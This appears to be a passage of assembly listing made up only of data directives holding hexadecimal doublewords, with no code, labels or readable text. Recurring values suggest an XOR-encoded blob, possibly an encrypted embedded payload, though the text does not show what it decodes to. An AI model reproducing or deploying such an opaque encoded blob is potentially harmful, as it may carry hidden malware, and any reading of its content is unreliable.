		dd 0F51744C8h, 0DBBEA8F4h, 0F454C6Bh, 0D79F1216h, 97A389DFh
		dd 6F67F4D0h, 0CDA052CBh, 2ADF2CC4h, 0CA40CA7Bh, 74234C6Bh
		dd 0C9BD2F03h, 84454C6Bh, 0CEF6B2EAh, 52254103h, 0CA454C70h
		dd 89928046h, 495415D2h, 0CA454C6Fh, 0AAB7D978h, 0CA56D678h
		dd 0CDBE4C6Bh, 6F454C6Bh, 775AD6BCh, 0BFF75D8Fh, 0F0A3A3EFh
		dd 0CA453DECh, 0CA5BB76Bh, 0E5684C6Bh, 0F51EA189h, 0FBC3F83Ah
		dd 0BDEA666Eh, 0D7DD498Bh, 53454C6Bh, 0CA454C7Dh, 0CBEF6BBAh
		dd 5199D96Fh, 91682B75h, 8CFE54BCh, 0CA5FB764h,	1D8E4C6Bh
		dd 0C67D45C2h, 56830FD6h, 6141E2F9h, 0A7254103h, 4ACD5628h
		dd 0E8BFE2Dh, 754E2F5Dh, 0DABE54B1h, 0FA454C6Bh, 90426A3Bh
		dd 941A3A34h, 0E4055C76h, 0AC766167h, 0A72541F2h, 52490922h
		dd 0CA454C7Eh, 79705E29h, 69A59445h, 3D6940Ah, 6C9AFE1h
		dd 6238FEBCh, 86D82F82h, 49259877h, 0F3BDFB1Fh,	0E454C6Bh
		dd 0AF745DD8h, 0B7B9C7DAh, 80D9DEB2h, 0C61CD78Ah, 0CA46C978h
		dd 0AA494C6Bh, 0CA45CA78h, 74264C6Bh, 73493CB1h, 0C7BE48B3h
		dd 6D454C6Bh, 4892238Eh, 0D602D519h, 0CA455412h, 370A606Bh
		dd 0D4D014E7h, 0DA1CD74Fh, 0CA63C178h, 51254C6Bh, 0CA454C73h
		dd 41889E5Bh, 9FE896DAh, 0CA453F13h, 0DCFD166Bh, 0DCE7D7DEh
		dd 4E2A3FE0h, 7B8452DFh, 0AA2F837Ch, 0C7D9498Ah, 0AA454C6Bh
		dd 1B8C4963h, 0F4C5498Dh, 53454C6Bh, 0CA454C70h, 1C9A42E8h
		dd 529EA6A0h, 0CA454C71h, 970F15FEh, 0CA558A3Eh, 0CA5CC078h
		dd 75544C6Bh, 0CA454C6Dh, 0DCBE2C62h, 0F5454C6Bh, 0ACD6ED77h
		dd 8D973B58h, 0ADE7648Ch, 325882F0h, 4683573Ch,	0C8965F21h
		dd 0AB4D2CB0h, 0F098D58Bh, 0D1269628h, 926C1D45h, 1AB3CC8Ah
		dd 0FAF2998Dh, 53437F73h, 0CA454C7Eh, 8DCCB4E5h, 193D3E41h
		dd 0AA2B2BF4h, 8580632Eh, 694B979Ah, 67BFC3F9h,	0A725413Eh
		dd 4A23A7F4h, 0AB4CAE12h, 0F3BD7C68h, 0B7454C6Bh, 6459F03Dh
		dd 6A462E08h, 0CA56B7E7h, 4E434C6Bh, 0DE5EF7C8h, 0DAA3EC21h
		dd 46320E49h, 9C0D6792h, 0A996D58Bh, 9F2C2F8Bh,	73DA2F8Ah
		dd 0C8AC8C24h, 0CA57B78Bh, 0D87D4C6Bh, 650D1AA5h, 4FD5BB34h
		dd 0C6C085CFh, 0B8B4D4Eh, 9A2681F4h, 52959963h,	0CA454C75h
		dd 9A6BF5Ah, 0CDC8543h,	78250298h, 4BDA2FDCh, 0C8AC8C24h
		dd 0CA59CF78h, 4D544C6Bh, 0CA454C70h, 0CA45D578h, 79544C6Bh
		dd 0CEBE48AAh, 7C454C6Bh, 645DA21h, 47664778h, 4EBCFA46h
		dd 0A72584F7h, 0F0C1AE24h, 0CA454AF1h, 0AA11DE6Bh, 0CA53CB78h
		dd 0DABE4C6Bh, 65454C6Bh, 6C2630F8h, 554479BEh,	3E9730ADh
		dd 0A261DC78h, 0CA59B7BDh, 76F4C6Bh, 135CB9CAh,	474E03D3h
		dd 0FB544F0Eh, 0C9C1498Bh, 0F1454C6Bh, 0CA454EEAh, 0C9C7496Bh
		dd 0AB454C6Bh, 0CA5AB785h, 77084C6Bh, 0AE35E6ADh, 0D3674807h
		dd 0CCCC2E17h, 0CA54B72Ch, 453E4C6Bh, 394EA138h, 3E893F1Eh
		dd 3F3D2032h, 0D2C7D75Ah, 0AA437F5Ah, 0CA453A12h, 0BD519C6Bh
		dd 0FE32D6F5h, 0EF86DA87h
		dd 0C45CA208h, 0A9E4EC2Eh, 0CA455713h, 0E0FDC6Bh, 0D576B641h
		dd 0A72B161Dh, 97BA9FEAh, 52262F8Ah, 0CA454C77h, 0D8F90F3Ch
		dd 0D15DE410h, 0CFC496Ah, 4E54FF65h, 0CA454C7Dh, 0CA454812h
		dd 0EF25196Bh, 67CA68B3h, 62B3D6F9h, 0BD82C6Bh,	7154FA8Dh
		dd 0CA454C6Eh, 0AB4DA78Bh, 0CA454C13h, 53C6026Bh, 0C8AD3F47h
		dd 2842E8Bh, 0AA89DAB7h, 0CA5BB78Bh, 83234C6Bh,	87575A1Eh
		dd 41B703D1h, 2780D98Dh, 62ADAAEDh, 9B26575Ch, 0CA455212h
		dd 0FFE5C66Bh, 0D8D0109Dh, 0F0D5495Fh, 0CA4533F7h, 0F0DD496Bh
		dd 53454C6Bh, 0CA454C74h, 0D61BACE1h, 7B83C0CAh, 4BD8B49Fh
		dd 0C8965F95h, 8F3AE762h, 47540F31h, 0CA454C6Dh, 0F0A69163h
		dd 0CA454AF8h, 83262C6Bh, 0CA454912h, 46ED76Bh,	0AED83699h
		dd 3351FEFEh, 0FF551547h, 0CA75676Eh, 0CA58B76Bh, 25DC4C6Bh
		dd 0F898BFA7h, 19E2C61Bh, 2144632Dh, 0A725196Bh, 0D29CADEAh
		dd 0CA46D778h, 0AB4D4C6Bh, 0CA454B12h, 2CEC9F6Bh, 31101D77h
		dd 0B39E437Bh, 4BDE51EEh, 0C8965F95h, 0CA53C078h, 0DABE4C6Bh
		dd 0B1454C6Bh, 0E6D92DABh, 0F7CE918Fh, 0A85DB77Fh, 0E1167644h
		dd 0CA59B785h, 955F4C6Bh, 0DC57EF44h, 7CA89D8Eh, 70544E42h
		dd 0CA454C45h, 522FFA8Bh, 0CA454C7Ah, 0D83C1D88h, 78765D63h
		dd 5453440Fh, 93FD59C8h, 4654078Dh, 0CA454C6Dh,	9AB28D1Eh
		dd 0CA5CCB78h, 75544C6Bh, 0CA454C6Dh, 7354FA67h, 0CA454C6Dh
		dd 0CA45B467h, 4A2F4C6Bh, 257F014h, 6D8C2C73h, 22E1E790h
		dd 31D8988Dh, 3FC0B461h, 9925996Bh, 9F90D178h, 0CA454112h
		dd 2CD8D06Bh, 7D12958Bh, 0A9975D8Dh, 0F0B6918Ah, 0CA4560EDh
		dd 0CFBE2C6Bh, 5A454C6Bh, 0F9026BF4h, 2E3CC7A5h, 6E555094h
		dd 0CA5FB7DEh, 0CC6B4C6Bh, 0D87C158Bh, 0FF2D22B8h, 0F087D58Ah
		dd 0CA454FF7h, 0F02F936Bh, 0CA454FF9h, 0F02E936Bh, 0CA4531F1h
		dd 0CA57B76Bh, 611B4C6Bh, 7C5A4B00h, 948DECB2h,	63D92A1Ah
		dd 9776FC88h, 0CA42B72Ch, 5D274C6Bh, 7558E07Ah,	0CFBD2C2Ah
		dd 7D454C6Bh, 9F4E6B20h, 0D58EFBCEh, 0E47B2AB5h, 0C9DD4985h
		dd 84454C6Bh, 0CA454312h, 0E9C4516Bh, 7426CC70h, 0F2BD2C2Ah
		dd 90454C6Bh, 0EA1855E7h, 2D994DFCh, 0AA2E2F8Ah, 26BC3F6h
		dd 52254103h, 0CA454C74h, 0AAB6B2B4h, 95F32481h, 202626ABh
		dd 0CA5FB73Ah, 59D14C6Bh, 29C3F2ABh, 3124F2E8h,	3D86D590h
		dd 0CA455715h, 158B96Bh, 0BA71D25Dh, 46DA9CACh,	0C8AD3C1Bh
		dd 0CA59CD78h, 74544C6Bh, 0CA454C70h, 0CA45D478h, 7F254C6Bh
		dd 0F1639986h, 56C8AAEAh, 7226F1EBh, 1B50B7F1h,	0CAD84973h
		dd 37454C6Bh, 0E2C2CB62h, 0AA5C847Dh, 0CA454113h, 0C534C36Bh
		dd 862C9AB5h, 0CA453C12h, 0E17E096Bh, 0C4774BF6h, 792AFAEDh
		dd 0F94EE109h, 722606A9h, 1B7C2BF1h, 0C98DA473h, 3E454C6Bh
		dd 46548C77h, 0CA454FBBh, 0CA455212h, 0EB02396Bh, 0D38A8762h
		dd 0A9CAF24Fh, 1DDC9AEAh, 72603EDh, 1B76D3F1h, 52B2FE73h
		dd 0CA454C72h, 8CD9AF4Eh, 4401BE97h, 7747992h, 0CA51B7D5h
		dd 0E6604C6Bh, 2B8EAD76h, 16BF41F4h, 938B4500h,	0F95DFC4Bh
		dd 77449F70h, 0C896545Dh, 0CA54B78Bh, 76E4C6Bh,	16F04E59h
		dd 6CB6D891h, 4892238Eh, 4E26A419h, 15E3B2F1h, 4A232C73h
		dd 0AB44902Fh, 9A4D7C68h, 0CA69D678h, 49544C6Bh, 0CA454C40h
		dd 0CA453F12h, 0F3B9CB6Bh, 885133BDh, 5091F7FCh, 9F017D74h
		dd 4EDA4CC2h, 0C8965FE1h, 5125FF1Eh, 0CA454C77h, 0D633BC7Eh
		dd 174BC17Bh, 0F0D9E36Ch, 492DA428h, 0D326C803h, 0F3C3496Fh
		dd 53454C6Bh, 0CA454C71h, 0B9E98A38h, 0DA453404h, 0F3BE4C6Bh
		dd 63454C6Bh, 342AE9D6h, 763FD03Fh, 0BAF29904h,	53437F56h
		dd 0CA454C7Fh, 48594C55h, 0CBFF7A8Ch, 855AC854h, 0FECE987Fh
		dd 215CA8A3h, 60232C3Ah, 74230A74h, 7F252F33h, 0C789277Ch
		dd 0CA45C378h, 74264C6Bh, 1B7A1F29h, 0CA43B773h, 49A34C6Bh
		dd 5E16CBA7h, 2309196Fh, 0CA4D81EDh, 0F3BE4C6Bh, 4D454C6Bh
		dd 0BC74BA9Bh, 29F8D4C4h, 0E61C8199h, 0AA454C4Bh, 7D82E8Bh
		dd 4E2695F7h, 1B60D7C9h, 0CCD8A773h, 0CAD4491Eh, 37454C6Bh
		dd 46548C77h, 0CA454C96h, 0CA55B78Bh, 21044C6Bh, 0B4A3C275h
		dd 293525E6h, 0A183522h, 4A54753Dh, 0CA454C71h,	0DCB87222h
		dd 4A542F9Bh, 0CA454C7Ah, 0CA455512h, 0BAF7E86Bh, 3C239C98h
		dd 536235FCh, 51254CF7h, 0CA454C72h, 66E36351h,	7A190792h
		dd 0CA454112h, 0C942B36Bh, 94B75E98h, 64230484h, 7226F0E2h
		dd 4A5440AFh, 0CA454C72h, 0CA47D578h, 0AA254C6Bh, 0ED199E22h
		dd 0CA59B46Bh, 0A3004C6Bh, 0D90C4495h, 880EE633h, 1CD8FE59h
		dd 4B05DE82h, 0C928422Ah, 0F4BEFA6Bh, 60454C6Bh, 9198F01Bh
		dd 5AED4AD0h, 142B0374h, 1B8C496Bh, 0F10D38F7h,	0CA454FF1h
		dd 3CC6A46Bh, 0AB3609E5h, 339B8DEAh, 4A2314C8h,	4B07000Ch
		dd 4826CA2Fh, 0DDFFD4Ah, 520D40FBh, 0CA454C7Dh,	0FB29DB2Ch
		dd 1F5833FCh, 0CFEE5D2Ah, 0DCB723Fh, 9FF8DA45h,	4C9FD591h
		dd 0C7BE4A1Bh, 17454C6Bh, 28E40CA7h, 531409DAh,	0CA454C72h
		dd 1ED7E37Bh, 6D763EADh, 66D999EDh, 4754996Bh, 214499FEh
		dd 0CA455212h, 7157A86Bh, 5209818Bh, 82878885h,	35FDEB0Ah
		dd 92DDC135h, 8EEB9DCCh, 856F256Ah, 0DEFAC82Dh,	35FDB838h
		dd 0CA6B8590h, 6074F2Dh, 35FDC4B2h, 0E3BEEB35h,	5A6C82B3h
		dd 0F8EEB835h, 35F88F04h, 32F0B835h, 7FDB835h, 1DBC3407h
		dd 0E1F07F82h, 0ED467084h, 89AFC222h, 35F63D23h, 55E0BAC9h
		dd 5BE5423Ah, 4162AD22h, 3740A5B2h, 21B5C0B2h, 0A3E0DD22h
		dd 0DA618E11h, 0F8ED23ECh, 6F4681Dh, 35FDE90Ah,	39D8B635h
		dd 8F4B776h, 0BDA52215h, 22F247C1h, 3D7F3249h, 35FD512Dh
		dd 35A73130h, 4029B800h, 800ED4B2h, 11C0799Ah, 886F57C2h
		dd 0E66D4DAh, 9277FFDAh, 0EA913309h, 0B30CD016h, 6F0CD01Eh
		dd 0DF77FFDAh, 0F2BA3305h, 96C6FB4Fh, 6A1E0B71h, 0AA1F722Fh
		dd 42A1C1B5h, 31939B32h, 0AF8D91DAh, 0EB2FA50Dh, 6A1E0969h
		dd 3277FFDAh, 9B9FC18h,	3277FFDEh, 5433C9FAh, 0E4AA0B8h
		dd 0E6CB05Dh, 3277FFCBh, 0F833CE74h, 0BAF5FE40h, 0E6154462h
		dd 43464D45h, 92D9FA32h, 1B6F40C6h, 7A0D94DAh, 31E502EDh
		dd 32732407h, 5557FFDAh, 85C59F9Eh, 0CD8EF3FEh,	3278F3FEh
		dd 3CA8FFDAh, 0B6B87A9Eh, 0F6DAF34Bh, 886F40CEh, 2EF9FADAh
		dd 0E96F40DDh, 0D61A1B9Ah, 4A00448Fh, 0DB9C4A12h, 8E18FBCFh
		dd 3183AB88h, 3D300C69h, 0CE8C1E77h, 5528D787h,	880F6BEAh
		dd 654BDFA6h, 0CD8A85Ch, 9815F511h, 57EBA898h, 0A525BA1Dh
		dd 0BFCD2AE4h, 0FB601929h, 0C5F4B201h, 0D3B36312h, 87F23397h
		dd 7518D80Ah, 6D74969h,	5801680Ch, 0C47E73F8h, 97A7AD4Ch
		dd 0CE2617A1h, 0A109D312h, 0CE2528C1h, 5 dup(0CE253512h)
		dd 93253512h, 0CE26F3C2h, 163E4BDAh, 0BE7A1A0Fh, 89CD34B0h
		dd 93204D0Fh, 0E081F58Bh, 15DACFDAh, 0BE0E1A0Fh, 2ECD34B0h
		dd 93204DA7h, 0E081E827h, 15D8ACDAh, 0BDB21A0Fh, 0F0CD34B0h
		dd 93204D79h, 0E081F583h, 15E40CDAh, 0BDA61A0Fh, 0CB7F34B0h
		dd 0B8ED1D3Dh, 0EF0DE22Fh, 0D7549852h, 1F76F17h, 6A0937FEh
		dd 0A9A8BF23h, 18E2E86h, 2E2A62AEh, 0F95198D5h,	1697A619h
		dd 0EF39D01Dh, 0BC49F425h, 14170F14h, 722941CAh, 66113579h
		dd 0CCD69CDDh, 727D10FDh, 4659A07h, 0C9F2BC1h, 84455DDCh
		dd 0B24B3295h, 0CE340B70h, 0B4A537C2h
		dd 0AE340B70h, 2B6FFB14h, 3BC36DDFh, 4003F1CBh,	225AFE12h
		dd 0BE88DB7Fh, 6ED2AD9Ch, 0A6E49EADh, 33EA9597h, 81AFF4FFh
		dd 2EADE62Eh, 0D5DDB556h, 0AF7BDD42h, 0CE25356Ah, 0A6FBEDD2h
		dd 0D6B997A5h, 132E9B78h, 46CA4ED9h, 1CEC7CADh,	2E340B10h
		dd 7AE8B45Bh, 520BBBCFh, 2C45B58Fh, 0BA84BA5Fh,	867BDA8Dh
		dd 0E8ADCCCAh, 2C01234Bh, 0D9253518h, 0BF6BAB74h, 0E7E0D269h
		dd 9FB1EEFCh, 5FDC5CA6h, 6D455016h, 0C7EFB638h,	4BC30EE1h
		dd 0BC014885h, 34121842h, 0DEB8F7AFh, 0BD31A923h, 9CE46460h
		dd 0B6159DFh, 3B99C0AAh, 0BC340BB6h, 96DE76A8h,	311F47D1h
		dd 0AC1F77B4h, 0ADE96FEEh, 0FCD51152h, 0DB84CD9Bh, 0FE39A649h
		dd 0CBCBD4C9h, 0AA0518FDh, 2BBBB714h, 0EDB870F5h, 0CBCB4149h
		dd 74A3F9FDh, 47217313h, 9C88C09Dh, 0CBCA7056h,	700FAAFDh
		dd 66CECC3Eh, 7BEC0D3Bh, 3F0FA849h, 0BD34B875h,	6C06A7B5h
		dd 0EA82A645h, 0E7D5174Dh, 4A874569h, 0CDD0D1A8h, 1C33B012h
		dd 0C62279FCh, 0B29443EFh, 4E4A1512h, 408CBD6h,	0F5C14ABEh
		dd 8EC6A2F0h, 73CE6AC2h, 336A2379h, 4F97F2BBh, 2613A81Bh
		dd 53839B1Eh, 0E9A7E740h, 21DC3FCFh, 4A96E526h,	58D48806h
		dd 8C14A1AEh, 0C3BDA647h, 46CA8E14h, 0FF9DD0ADh, 41879B88h
		dd 99849E75h, 4AB4473Fh, 59A8D3EEh, 0BC956E3Ah,	0D503EC5Bh
		dd 64995A71h, 0C370E570h, 6E3B3E7h, 322C854Bh, 4AB44F9Bh
		dd 0E7E45BD6h, 0E10AB040h, 0C0B89B78h, 938F495h, 0ABEB66DBh
		dd 0E00E8B79h, 82439B78h, 74E3A11h, 90CE7B62h, 497BDDE5h
		dd 0CE2535BBh, 0EC49E75Ch, 0EFB76D0h, 327042B8h, 6D1F695Eh
		dd 0CCD6A36Bh, 12C33EFDh, 0FA81A5B1h, 4A96E5DAh, 8E8BB151h
		dd 4A96E23Eh, 7B06E555h, 4A96E675h, 7F7F9AC3h, 0AACB1728h
		dd 1E985383h, 1D1B4B6Bh, 7205533Fh, 0E6DD1EEAh,	5D38377Fh
		dd 2D340B74h, 4A3AC622h, 0B630D2B4h, 0B1F4DC91h, 0E903B8E8h
		dd 0A3939B78h, 6D764EE0h, 4A95702Ch, 7D93CFAFh,	1582CCBDh
		dd 42A2DA8Ah, 6A57F514h, 87A985E4h, 61E7C167h, 4943277Eh
		dd 44D8A6CFh, 0F591A9A9h, 7D15CE4Eh, 99F1A645h,	0E611DEFBh
		dd 0FCEA0A52h, 4FB84569h, 0CE204163h, 4C5D2012h, 3631F66Ch
		dd 0E2EB73DEh, 0BD994582h, 4759F847h, 0B5B07A71h, 0FE9F1700h
		dd 0A33E9F52h, 601A5EC6h, 0A0412206h, 5421D888h, 4739B1Eh
		dd 0B9A7E22Dh, 94DEAC1Bh, 0BC49E124h, 62FB0615h, 371E39Eh
		dd 0CF1658B1h, 0DA3D8CC6h, 327ECC3Bh, 0CF0D26C7h, 1AF02820h
		dd 5B6FA865h, 22267BA7h, 59DE4DC1h, 0CB3BEE5Ch,	4BEB4041h
		dd 423911C4h, 88E505A9h, 0E1AECC1Bh, 0D9B4790Eh, 3AB67376h
		dd 177030DCh, 0C8012DE8h, 2DA56879h, 60C2F3AFh,	31A7F0F5h
		dd 0F847695Eh, 89A5CBC5h, 0C820EFBDh, 0C36A1936h, 0AC162E95h
		dd 228FBD0Eh, 8E5D13F0h, 0CC7AC452h, 0B74C69EDh, 0E4C8BA7Ah
		dd 99331936h, 3653934Fh, 7D9F8415h, 0FB2F1E04h,	7A92C9B0h
		dd 8317669h, 9C8647C6h,	0A3BC0F7Ch, 0D1DA51FDh,	41224A75h
		dd 5CBDFB03h, 18277FABh, 57D3800Ch, 55BE0F7Fh, 0C21F615Ah
		dd 0D726B17Fh, 8CE5F38Fh, 0BE3445F7h, 92609BEh,	69604EE6h
		dd 78161D15h, 0B3DBD02Ch, 3DC98115h, 316372A3h,	4120A7D7h
		dd 239D4D03h, 71D99537h, 65929915h, 0B8D3800Fh,	0AF1EA680h
		dd 46318A83h, 41246900h, 0F59C7D03h, 0EA5DD38Fh, 5525DCE9h
		dd 0F3BCA7CFh, 0E2E9AF0Ch, 1BD3733Ch, 5BD383CAh, 27B2CB4Bh
		dd 0F3BEBC71h, 9A494475h, 8659DF76h, 0CEC4B7F5h, 0BC49B112h
		dd 87AF6B00h, 6664E64Dh, 92C4E211h, 6A331DC9h, 76340B12h
		dd 6DF5C15Dh, 93A4CB84h, 84340B12h, 1F082E40h, 0CCE946F3h
		dd 408C6AEFh, 6C4379A6h, 64EC181Eh, 6D18A5B2h, 80A8181Eh
		dd 0BF03FA28h, 3192A9AAh, 0E403E9FDh, 0C9BA46B9h, 132E392Dh
		dd 0E2DF71CAh, 0E12921BEh, 95EA92DFh, 6FC3AD67h, 0F9673B64h
		dd 111852C0h, 1F912E9Ch, 4B9672D4h, 0CC8E9886h,	1490A8A7h
		dd 533448A1h, 9894C846h, 533B7C7Ah, 9452BC46h, 16673B64h
		dd 0CC8E988Fh, 16F76ACCh, 612D40FDh, 59C9068Eh,	94E2FEF6h
		dd 0B7D75C3Fh, 0DA687151h, 0CA4BAA72h, 0B9D4BD31h, 0CE2260D2h
		dd 8F994C12h, 0AA481219h, 4609FCBh, 0C22551BEh,	0FA842453h
		dd 5A5DD60Ah, 336A2377h, 2AB4EBB6h, 96DD7F8Dh, 0C3A53E1Bh
		dd 51F80494h, 204F9B1Eh, 96FBEA64h, 0DDA142CAh,	0E1D7C671h
		dd 8D88C05Fh, 4BEB8620h, 0B2E0B353h, 0DE9DE835h, 8A42B409h
		dd 40DDA051h, 0D9A50483h, 4AB495E4h, 3EB65237h,	6A521642h
		dd 27FBD4Eh, 0CE48C7E8h, 0C47F3263h, 0C2DF2DCh,	0CD460306h
		dd 74235EFDh, 8EC65EB3h, 0B615933h, 0CE04C8AAh,	0B6896CB0h
		dd 11253518h, 0E660E570h, 3B78EE55h, 0CCD65DEFh, 3E5301FDh
		dd 26B06609h, 0B8D09B1Eh, 0B12E00Fh, 0E3EE7C39h, 67F8F381h
		dd 0B8A77EE6h, 7F760E3Fh, 49FA1CD5h, 38E3E4D2h,	0D9A8BBBFh
		dd 0B7CF3512h, 0E663ED8Dh, 0CE5FB77Fh, 6A468A2h, 71C7FF66h
		dd 0FD5FC491h, 79D62FEFh, 531E5E16h, 0EE7AD5C1h, 5220822h
		dd 0F4677668h, 3F39D073h, 0BDDD71B4h, 20580EE1h, 0F039D060h
		dd 2A41A974h, 48D10FF6h, 0BF8FC0D0h, 5E3BEE55h,	0A595B375h
		dd 56E58E27h, 4D7AA019h, 4B266AA5h, 0E62FE979h,	43343CBh
		dd 89E4DC0h, 6F2C3434h,	6473FFE0h, 956E5A74h, 5ADB6575h
		dd 0B253518h, 286BAB77h, 8247AF3Fh, 9833F1AAh, 22EF20B2h
		dd 0DB7638E4h, 2D5AE373h, 440AE06h, 55B847D4h, 3E089B7Bh
		dd 6418B806h, 92391E3Ah, 40DF87CEh, 4BEA7DE3h, 3037CABAh
		dd 0AD8D4BF4h, 0CECBD93Bh, 0BDDE4F12h, 0E2580EE1h, 9E340B11h
		dd 0EAA4F5C2h, 84E21A41h, 7E0EF3A0h, 3BA8B412h,	0C320DB88h
		dd 20139B78h, 591438E7h, 635A561Dh, 0D87BDD2Dh,	0CE253540h
		dd 0BC49E2EDh, 1528C209h, 3276C06Eh, 3B257E47h,	0AAC28A25h
		dd 81AD1D7Ah, 616BF05Fh, 8875580Bh, 28BEA647h, 93D17514h
		dd 42B4BCBEh, 0C6578F65h, 12A7C01Ah, 0EA1BA0B3h, 0FBBBA647h
		dd 40E2BFE8h, 2D341581h, 60D5FB22h, 2C5F0EE0h, 4BC47104h
		dd 39BF6528h, 45033F29h, 0A837050Dh, 6ADA831h, 0DCBC2CCDh
		dd 0F7433512h, 0D1214909h, 0FA11DEFBh, 0C348A7EEh, 1D9B5B43h
		dd 652D23FAh, 4DFCB32Fh, 15C23285h, 0C2CE66AAh,	0FD55996Eh
		dd 2BBA245h, 4B39D074h,	0C849E8F8h, 0CCD6CAFBh,	9CB0E5FDh
		dd 9ACD5Ah, 0C2BA3ED0h,	930EBDDh, 0A7EB66DBh, 442F13FEh
		dd 0A239EA10h, 0A3A0B9B6h, 4E8FCAD0h, 3903507Ch, 0AA3FE7C0h
		dd 5BEF9F4Bh, 9E18E5FBh, 0F1A9AD4Dh, 64ECB4F2h,	86F54DF7h
		dd 3B1BF785h, 0F9919B7Bh, 3B1A9947h, 28B79B7Bh,	0F7578F0Ah
		dd 958D6D61h, 48606036h, 30A5395Ah, 0FF9DE2C5h,	3246A2F4h
		dd 0BF7BF4EFh, 4A96E265h, 931D248h, 0BF6BAB77h,	0B74C69EDh
		dd 0CDC184DEh, 8FF25787h, 0DAEEE858h, 555C9B78h, 0D735E3F3h
		dd 0EC7C9B78h, 8D03C37Fh, 9B64AAA0h, 0F5E76718h, 2292466Dh
		dd 0DA981832h, 1D289B78h, 7B0BA7D7h, 0E63B785Fh, 38276561h
		dd 8CAE8F8Fh, 0CE25351Ah, 0D2FBEAE8h, 0CCFF1274h, 573289FDh
		dd 0C33DA3B0h, 0C2699B78h, 0D6C2D19Fh, 79619B78h, 75DCC3FBh
		dd 20E16560h, 0F9253515h, 0BF6BAB74h, 0E7E0D269h, 25A1EEFCh
		dd 7DC894A5h, 0BC49E717h, 8AF44F1Dh, 75DDA647h,	0CC94D4E1h
		dd 0FCB49CF0h, 53836ADCh, 0FA2CD1F0h, 4782F7C8h, 0A6ECFAFh
		dd 0D6BE0982h, 4BE40679h
		dd 884D69ECh, 0D764E64Dh, 2A8F0795h, 0CAA29B7Bh, 0EE08401Ah
		dd 993D49D7h, 44C05874h, 24E926EEh, 0E298D71Eh,	0EB12227Bh
		dd 8014E659h, 2A5FB77Fh, 0B8D01059h, 0EB38D012h, 56BAA7E2h
		dd 0CE252B18h, 0B3B77872h, 4DFCE920h, 6AEB3785h, 0D7026C49h
		dd 0EF6FA36Ah, 7A8AA5F4h, 41372ADBh, 8E1DF7BEh,	0F06BAB53h
		dd 65243A5Ch, 5135AFCAh, 0B8204FCBh, 3262ED98h,	70DF093Fh
		dd 0E5F54B5Bh, 4144D03Fh, 0BDDE226Bh, 0E2580EE1h, 9E340B11h
		dd 48AA2B0Ch, 29402A37h, 0B7E9DFEFh, 6EF89B78h,	0C6D7CA24h
		dd 0CA786561h, 80253512h, 0BF6BAB74h, 0ABC0DEDh, 0C3121808h
		dd 0BE8F0795h, 0CAA2A647h, 0E45D802Dh, 4FF6E74h, 0DE121809h
		dd 19ED70F2h, 2F12183Ch, 463D81C2h, 0D43DFC9Dh,	0DFBE7310h
		dd 76E67B27h, 41D30C90h, 0D4D08B4Ah, 0E07B78A3h, 8B415A1Ah
		dd 0A58DA647h, 2735B17Fh, 68579B7Bh, 0E09BC453h, 8D340B5Dh
		dd 0EC5AE483h, 4B96ACC5h, 4BE40664h, 6687D648h,	9F340BA9h
		dd 2F0CEE55h, 0FEAD05FBh, 0BCEB62FDh, 4A9630E0h, 86797313h
		dd 47FA019Ah, 52A2D68Bh, 0D2DF299Eh, 98867EA5h,	4B9BC205h
		dd 0FD9C8E18h, 43233512h, 0B207BC28h, 0DA72739Bh, 22A8440Eh
		dd 4DF4FB62h, 490DC09Dh, 0FDFA104Ah, 85A292A2h,	61AEB9CAh
		dd 1936F991h, 601B4264h, 6B39D0A6h, 0C84B9515h,	0CCD6CAFBh
		dd 43372AFDh, 0C66E0D80h, 0F4F830Ah, 0F57042B8h, 9F5E7F60h
		dd 0F48A564Dh, 7FA8B7EDh, 2FE612B7h, 9ED68B9Bh,	0D7133A63h
		dd 33121809h, 1F195A70h, 0EB6D098Ch, 9DD7C9D7h,	251E6B34h
		dd 0E994D4AFh, 4A96BE2Fh, 432DE07Eh, 16B46D25h,	5441B3E6h
		dd 0EBF31727h, 0DF469B1Fh, 799568F2h, 824DCA41h, 521B25E5h
		dd 89E1CCCBh, 94ACCFF6h, 7E580459h, 3BA8B412h, 5457A2DBh
		dd 0B27AC9C3h, 4278D8EEh, 0BE39D06Bh, 792B3BF2h, 0A1ACD95Bh
		dd 92B63908h, 8A31D25Bh, 0A1D9502Eh, 3F6565FDh,	0C45B9BB6h
		dd 15D78218h, 0FB782529h, 0CB4A8451h, 7A51C0BEh, 0B5CE6390h
		dd 88C43E30h, 6341FAA1h, 0CEC45D01h, 0F603512h,	0BB44E762h
		dd 719B906h, 65D7AC1Ah,	0F2238FFFh, 0BE90608Fh,	0E79B5552h
		dd 4B4036ADh, 0A86C0919h, 3631F66Dh, 924453CAh,	3AC87A16h
		dd 0EA65280h, 0CE253519h, 55211A97h, 0E71A0901h, 0CECBBE08h
		dd 0E5C7D181h, 0CE25A630h, 0E5C20181h, 0D8FE00C2h, 4EC7D1BFh
		dd 0CE252959h, 0C26CB912h, 0D9E1B276h, 9E253512h, 9D6E1D81h
		dd 3A20703Ah, 0FD216996h, 5C7D0906h, 0CE252959h, 39D13412h
		dd 0D9E1B264h, 93253512h, 0E081D9D3h, 0E72FBD1h, 15C6ECEAh
		dd 0E0E2280Fh, 0CAFF9EB2h, 54531E2Fh, 1CD1A8A7h, 0DCC7E2Eh
		dd 3570F73Ch, 98A06CFDh, 0A44BCFCAh, 0BB3E3C0Ah, 0DE93490Ah
		dd 0F4DFA0A7h, 36346A0Eh, 0D00E7300h, 0D0BD0433h, 0EF93F8CCh
		dd 0B7CECD4h, 8036BAD8h, 0F99D586Bh, 998086A9h,	4CC134FFh
		dd 0B621D01h, 4D4E0D31h, 1E489075h, 0B365436Dh,	57BEF2Dh
		dd 0BE309D20h, 0CECF1A16h, 2C5E3512h, 0CE260760h, 2 dup(0CE253512h)
		dd 0CECBFBA1h, 3AC29D12h, 96B7FC4Dh, 0F5B82DD0h, 0D8FE09EDh
		dd 0E461C4A1h, 37FE9D43h, 9AB7FC4Dh, 79B82DD0h,	3240BAF0h
		dd 2442D97Ah, 0A6B008E4h, 0AC39F1A0h, 3ECC2D42h, 52AC3CB4h
		dd 0C3F55BF5h, 0DAA49595h, 6DC9732Ah, 28F16838h, 0C4254A1Fh
		dd 3C0C7A34h, 7310C53Ch, 2B8D59B8h, 3874B1B6h, 0F09BCA70h
		dd 21FA9F33h, 0F687333Bh, 9BF5CE8Fh, 0D5E26262h, 0D6835FC8h
		dd 93F76068h, 0A5EFF244h, 0CEBE0AB0h, 0B95159C8h, 75C50AB0h
		dd 94477880h, 0D6835C9Bh, 0BA3C5ED9h, 8F5ADA3Fh, 0CECB2EE8h
		dd 1FD61912h, 0EDC505AEh, 0EBCF9680h, 2B8D660Eh, 7A97F29Dh
